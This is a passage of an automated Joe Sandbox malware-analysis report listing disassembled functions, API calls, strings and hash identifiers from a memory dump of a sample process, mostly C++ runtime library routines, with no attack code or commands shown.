Part of subcall function 003EBCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 003EBD38

messages.LIBCPMT ref: 003F797F
std::_Facet_Register.LIBCPMT ref: 003F7996
std::_Lockit::~_Lockit.LIBCPMT ref: 003F79B6

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registermessages
String ID:
API String ID: 2750803064-0
Opcode ID: f5415ab0a0e0c11ec1f2c5d0126e9a596260b9d2ecb14978b14b51226f579987
Instruction ID: 3720ce3e064637d389c24ee127cc000abd09f3461879a371687ed6c0a18e62e0
Opcode Fuzzy Hash: f5415ab0a0e0c11ec1f2c5d0126e9a596260b9d2ecb14978b14b51226f579987
Instruction Fuzzy Hash: 1B01C07590462D8BCF06EB68D906ABFB7A1AF84310F25051DE610BB3D2CF749E028B95

Function 003F7C1D Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 003F7C24
std::_Lockit::_Lockit.LIBCPMT ref: 003F7C2E

Part of subcall function 003EBCE0: std::_Lockit::_Lockit.LIBCPMT ref: 003EBD10
Part of subcall function 003EBCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 003EBD38

moneypunct.LIBCPMT ref: 003F7C68
std::_Facet_Register.LIBCPMT ref: 003F7C7F
std::_Lockit::~_Lockit.LIBCPMT ref: 003F7C9F

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registermoneypunct
String ID:
API String ID: 419941038-0
Opcode ID: 81cb58268ae0204fe4283342153d1505f826b97950ab19b381d8015793fcc727
Instruction ID: 425c9e57f3aadd39ff8271f0fa5606d146d7ccce9a5cea28ff5c921b7a1d2e61
Opcode Fuzzy Hash: 81cb58268ae0204fe4283342153d1505f826b97950ab19b381d8015793fcc727
Instruction Fuzzy Hash: EC01D23590462D8BCF12EB64D9467BEBBB1AFC4310F25051AE610AF3D2CF389E058B84

Function 003F7CB2 Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 003F7CB9
std::_Lockit::_Lockit.LIBCPMT ref: 003F7CC3

Part of subcall function 003EBCE0: std::_Lockit::_Lockit.LIBCPMT ref: 003EBD10
Part of subcall function 003EBCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 003EBD38

moneypunct.LIBCPMT ref: 003F7CFD
std::_Facet_Register.LIBCPMT ref: 003F7D14
std::_Lockit::~_Lockit.LIBCPMT ref: 003F7D34

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registermoneypunct
String ID:
API String ID: 419941038-0
Opcode ID: 6654f5ff33b2cc1c66cd28e74ca971dbe4c158719ed1ea63134762ae82636d06
Instruction ID: ae7269468eb67fdf95dd2f8aa2151240f01236971af119f2814f670884f5d928
Opcode Fuzzy Hash: 6654f5ff33b2cc1c66cd28e74ca971dbe4c158719ed1ea63134762ae82636d06
Instruction Fuzzy Hash: A801C47590461D9BCF02EB64D9457BEB765AF84310F240529FA116F2D2DF349E0187D4

Function 003F7D47 Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 003F7D4E
std::_Lockit::_Lockit.LIBCPMT ref: 003F7D58

Part of subcall function 003EBCE0: std::_Lockit::_Lockit.LIBCPMT ref: 003EBD10
Part of subcall function 003EBCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 003EBD38

moneypunct.LIBCPMT ref: 003F7D92
std::_Facet_Register.LIBCPMT ref: 003F7DA9
std::_Lockit::~_Lockit.LIBCPMT ref: 003F7DC9

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registermoneypunct
String ID:
API String ID: 419941038-0
Opcode ID: 5436265d0df3e1598deba04aaa18a9a467be8293a798e0e24c96486e83438230
Instruction ID: 5b3777991f0fb3cbc2734d4dbb94a1911644f10972498aaab243d8f47d496f2e
Opcode Fuzzy Hash: 5436265d0df3e1598deba04aaa18a9a467be8293a798e0e24c96486e83438230
Instruction Fuzzy Hash: 7201C07590062D8BCB03EB64C946ABEB7A2AF95310F65011AF610AB3D2DF349E019BC4

Function 003F7DDC Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 003F7DE3
std::_Lockit::_Lockit.LIBCPMT ref: 003F7DED

Part of subcall function 003EBCE0: std::_Lockit::_Lockit.LIBCPMT ref: 003EBD10
Part of subcall function 003EBCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 003EBD38

moneypunct.LIBCPMT ref: 003F7E27
std::_Facet_Register.LIBCPMT ref: 003F7E3E
std::_Lockit::~_Lockit.LIBCPMT ref: 003F7E5E

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registermoneypunct
String ID:
API String ID: 419941038-0
Opcode ID: 6bba569cf388c4f230e6c179ba25911fbe0372a380a43e598a69767bfcd4e992
Instruction ID: f21794fc6ab50cbc2f48f76b92f58715b99ea45e9f886d864ada5c99cc71a934
Opcode Fuzzy Hash: 6bba569cf388c4f230e6c179ba25911fbe0372a380a43e598a69767bfcd4e992
Instruction Fuzzy Hash: 7E01227190462D9BCF12EB64D8017BEB7A1BF94310F24055AE611AF3D2CF349E01CB84

Function 0040782B Relevance: 7.5, APIs: 5, Instructions: 37COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00444AF8,?,?,003E2627,0044571C,0042CCC0), ref: 00407835
LeaveCriticalSection.KERNEL32(00444AF8,?,?,003E2627,0044571C,0042CCC0), ref: 00407868
RtlWakeAllConditionVariable.NTDLL ref: 004078DF
SetEvent.KERNEL32(?,003E2627,0044571C,0042CCC0), ref: 004078E9
ResetEvent.KERNEL32(?,003E2627,0044571C,0042CCC0), ref: 004078F5

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: CriticalEventSection$ConditionEnterLeaveResetVariableWake
String ID:
API String ID: 3916383385-0
Opcode ID: 9a97a536bf8f0ed328943627a682e613db1dc22bfbf69e451ca5562aa57b806b
Instruction ID: ace09a6154836d104b93435ac20adedb3fd67d0dc8275bad8cbdf05cd55617a6
Opcode Fuzzy Hash: 9a97a536bf8f0ed328943627a682e613db1dc22bfbf69e451ca5562aa57b806b
Instruction Fuzzy Hash: A0016D35A05620DFC714AF18FC09A943B64FB4A702B01407AE80293330CBB56D02DBAC

Function 003F3C2E Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 339COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 003F3C35

Part of subcall function 003F2823: __EH_prolog3.LIBCMT ref: 003F282A
Part of subcall function 003F2823: std::_Lockit::_Lockit.LIBCPMT ref: 003F2834
Part of subcall function 003F2823: std::_Lockit::~_Lockit.LIBCPMT ref: 003F28A5

Part of subcall function 003EA2B0: LocalAlloc.KERNEL32(00000040,80000023,00000000,?,?,?,?,003F3F08,00000001,?,00000000,?,?,00000001,?,?), ref: 003EA2F3
Part of subcall function 003EA2B0: LocalFree.KERNEL32(7FFFFFFF,?,?), ref: 003EA399

Strings

=J?, xrefs: 003F3ED9
hcK?, xrefs: 003F3C57, 003F3C5B
0123456789ABCDEFabcdef-+Xx, xrefs: 003F3C9D

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: LocalLockitstd::_$AllocFreeH_prolog3H_prolog3_Lockit::_Lockit::~_
String ID: 0123456789ABCDEFabcdef-+Xx$=J?$hcK?
API String ID: 1009823702-1633469552
Opcode ID: b9e505ccea7ec69aa13765c49726169fb135fa52751c1661336a8f3aa4dc8cda
Instruction ID: 17d14f7a445cca4e4e74bdd4238c9e0bda5362e2d2b1dc0c60dcfaa832255804
Opcode Fuzzy Hash: b9e505ccea7ec69aa13765c49726169fb135fa52751c1661336a8f3aa4dc8cda
Instruction Fuzzy Hash: 04D18A31E0438C9ADF17DFA8C5806FDBBB2AF55300F294099EA956F296CB709E45CB50

Function 003E6090 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 97libraryCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?,00000105), ref: 003E60F4
GetLastError.KERNEL32 ref: 003E6190

Part of subcall function 003E1FC0: FindResourceW.KERNEL32(00000000,?,00000006,?,00000000,0042938D,000000FF,?,80070057,?,?,00000000,00000010,003E1B09,?), ref: 003E2040

LoadLibraryExW.KERNEL32(?,00000000,00000000,00000009,0043B2DC,00000001,00000000), ref: 003E614E

Strings

ntdll.dll, xrefs: 003E6126

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: DirectoryErrorFindLastLibraryLoadResourceSystem
String ID: ntdll.dll
API String ID: 4113295189-2227199552
Opcode ID: 9cd523298d8ab5a5a506a937b5acb5a2eba1745b1c3ab960dd67348a2e8c881b
Instruction ID: 3877937bf283f72f015573526fc53c72ea7e3dd60c3574c54d44be8eff859e96
Opcode Fuzzy Hash: 9cd523298d8ab5a5a506a937b5acb5a2eba1745b1c3ab960dd67348a2e8c881b
Instruction Fuzzy Hash: C031F071A006549BD721DF69CC45BAEB7F8FF58710F108A2EE425D72C1EBB4A904CB94

Function 003FD2C2 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 003FD2C9

Part of subcall function 003F6FF9: _Maklocstr.LIBCPMT ref: 003F7019
Part of subcall function 003F6FF9: _Maklocstr.LIBCPMT ref: 003F7036
Part of subcall function 003F6FF9: _Maklocstr.LIBCPMT ref: 003F7053
Part of subcall function 003F6FF9: _Maklocchr.LIBCPMT ref: 003F7065
Part of subcall function 003F6FF9: _Maklocchr.LIBCPMT ref: 003F7078

_Mpunct.LIBCPMT ref: 003FD356
_Mpunct.LIBCPMT ref: 003FD370

Strings

$+xv, xrefs: 003FD37B

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: Maklocstr$MaklocchrMpunct$H_prolog3
String ID: $+xv
API String ID: 2939335142-1686923651
Opcode ID: ba964b4ab092324af21b29b1c445b6c09568593dda4532d8621a89e038e8d82e
Instruction ID: e53d973901611999a82b6713142029720565711c3196151217e6a94fb052e47e
Opcode Fuzzy Hash: ba964b4ab092324af21b29b1c445b6c09568593dda4532d8621a89e038e8d82e
Instruction Fuzzy Hash: 4921B2B5904B966FD722DF75849473BBEF8AB09300B044A5EE199C7A42D734E601CB90

Function 00404DF4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00404DFB
_Mpunct.LIBCPMT ref: 00404E88
_Mpunct.LIBCPMT ref: 00404EA2

Strings

$+xv, xrefs: 00404EAD

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: Mpunct$H_prolog3
String ID: $+xv
API String ID: 4281374311-1686923651
Opcode ID: 968e5194792cd737fa19dbc0bf9eb7784e9daf314f4abe7c877b6bc853c587b9
Instruction ID: 217c18a2671041a185f39ae9d9068373126cdbd2681d4337b0d2d99eef985532
Opcode Fuzzy Hash: 968e5194792cd737fa19dbc0bf9eb7784e9daf314f4abe7c877b6bc853c587b9
Instruction Fuzzy Hash: 8F21A3B1904A966ED721DF75C49073B7EE8AB49300F04492EE559C7A42D738E601CBD4

Function 0040C012 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,0040BFC3,00000000,?,00444EA4,?,?,?,0040C166,00000004,InitializeCriticalSectionEx,0042F92C,InitializeCriticalSectionEx), ref: 0040C01F
GetLastError.KERNEL32(?,0040BFC3,00000000,?,00444EA4,?,?,?,0040C166,00000004,InitializeCriticalSectionEx,0042F92C,InitializeCriticalSectionEx,00000000,?,0040BF1D), ref: 0040C029
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 0040C051

Strings

api-ms-, xrefs: 0040C036

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: ee13e47115789ce18a88ffa0661c1712838bec352f1c49f3b544d6f0ba214ac6
Instruction ID: 48a6971b1fa9051aaaf7cc350eb90e4c524cead853fe8669ff49303be18f4f3b
Opcode Fuzzy Hash: ee13e47115789ce18a88ffa0661c1712838bec352f1c49f3b544d6f0ba214ac6
Instruction Fuzzy Hash: 07E09A70784208F7EF202BA1EC46B5A3B699B01B55F644032FA0CE85E1D7B5A996D6CC

Function 003EE350 Relevance: 6.4, APIs: 4, Instructions: 426COMMON

Download Yara Rule

APIs

_strcspn.LIBCMT ref: 003EE3F0
_strcspn.LIBCMT ref: 003EE412
LocalFree.KERNEL32(?), ref: 003EE77B
LocalFree.KERNEL32(?), ref: 003EE7C3

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: FreeLocal_strcspn
String ID:
API String ID: 2585785616-0
Opcode ID: c716aad913d32bc06e896f21dee379d18c19bd7d994480a448cb7ebe0f5ec836
Instruction ID: 8a5e0fb3b9b0b18a11d31dac639e835ea2b027f538d407dc9274fcfafe668b37
Opcode Fuzzy Hash: c716aad913d32bc06e896f21dee379d18c19bd7d994480a448cb7ebe0f5ec836
Instruction Fuzzy Hash: A5F17975A00299DFDF15CFA9C884AEEBBF5FF48304F144269E815AB291D731EA41CB90

Function 0042738B Relevance: 6.3, APIs: 4, Instructions: 338fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(755CD0F6,?,00000000,?), ref: 004273EE

Part of subcall function 0042002B: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,0041C527,?,00000000,-00000008), ref: 004200D7

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00427649
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00427691
GetLastError.KERNEL32 ref: 00427734

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: e862e4df0c57509bfea2ce18d490f08c34c0c5b4cf55a189d7656870ba15f5d2
Instruction ID: dba99a240e0573707dd40e57b04429e8a8d3d3e52e0cf91264bf21a56f19f919
Opcode Fuzzy Hash: e862e4df0c57509bfea2ce18d490f08c34c0c5b4cf55a189d7656870ba15f5d2
Instruction Fuzzy Hash: BED189B5E046589FCF01CFA8E8809AEFBB4FF49314F58412AE855E7351D734A842CB58

Function 003F8872 Relevance: 6.3, APIs: 4, Instructions: 313COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 003F8879
_strcspn.LIBCMT ref: 003F88E4
_strcspn.LIBCMT ref: 003F8904
ctype.LIBCPMT ref: 003F8974

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: _strcspn$H_prolog3_ctype
String ID:
API String ID: 838279627-0
Opcode ID: 3e0969e25d7f161e5926dc9b4b6f31079b69bfedf404d7e31f53c1ec4cb4e257
Instruction ID: d50fef7b2d29abfcb501de0699da7cc5b3d7c4d791c44556870eb19091ddd41c
Opcode Fuzzy Hash: 3e0969e25d7f161e5926dc9b4b6f31079b69bfedf404d7e31f53c1ec4cb4e257
Instruction Fuzzy Hash: C5C17A7191024D9FDF1ADF94C9849FEBBB9FF48300F15402AEA05AB251DB34AE45CBA1

Function 003F2A16 Relevance: 6.3, APIs: 4, Instructions: 310COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 003F2A1D
_strcspn.LIBCMT ref: 003F2A88
_strcspn.LIBCMT ref: 003F2AA8
ctype.LIBCPMT ref: 003F2B18

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: _strcspn$H_prolog3_ctype
String ID:
API String ID: 838279627-0
Opcode ID: 08a8aa20114192f4c59bcbf0cb303d723656a1b8effd7fb79d6ec0d1d0ab15de
Instruction ID: 533dca0e35361cbfeea3bb8865cdb71f0433468182ba3be4ffad4abe51068922
Opcode Fuzzy Hash: 08a8aa20114192f4c59bcbf0cb303d723656a1b8effd7fb79d6ec0d1d0ab15de
Instruction Fuzzy Hash: 74C16A7190024DDFDF16DFA8C980AFEBBB9EF08310F14451AEA15AB251D734AE45CBA1

Function 0040AFD5 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 0040B09C
___AdjustPointer.LIBCMT ref: 0040B0BF
___AdjustPointer.LIBCMT ref: 0040B15B

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 24173037dc49a046a54664f95171d98467f1613fd4b1a4d68e21ccc05ca423fe
Instruction ID: 2ee59e8878c644cb9901da022549925be37fd10ee261622cce8bb2c6ecde09e6
Opcode Fuzzy Hash: 24173037dc49a046a54664f95171d98467f1613fd4b1a4d68e21ccc05ca423fe
Instruction Fuzzy Hash: E151CE72600602AFEB288F55D851B6B77A4EF00354F24443FEC526A2D2DB39AC81DBDC

Function 003EC9B1 Relevance: 6.1, APIs: 4, Instructions: 146COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 003ECA1A
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 003ECA80
std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 003ECB4F

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: std::_$Locinfo::_$Locinfo_ctorLocinfo_dtorLockitLockit::_
String ID:
API String ID: 2022693140-0
Opcode ID: 0131084aae1ea7da63df401c48c1cd6028d1f3d9a2ec8dfde07de1cf03fb081e
Instruction ID: 2be2b9f43cc5bf9cebd99866b24c2d60547b53f9ab61c1dc6295b5e5b9b8af24
Opcode Fuzzy Hash: 0131084aae1ea7da63df401c48c1cd6028d1f3d9a2ec8dfde07de1cf03fb081e
Instruction Fuzzy Hash: AC5195B1D052D8DAEF12CBE5C5457DDBFB4AF21304F1841A9D440B72C2E7799A09C761

Function 00417B18 Relevance: 6.1, APIs: 4, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb114fe6f1e4b1110b68845a4846e10303189a108da9a04b648973520d7a2640
Instruction ID: f812c61cbacfaf3c77d28d5b4e4902363cddb110cc711865a04f3eb9d4b1633d
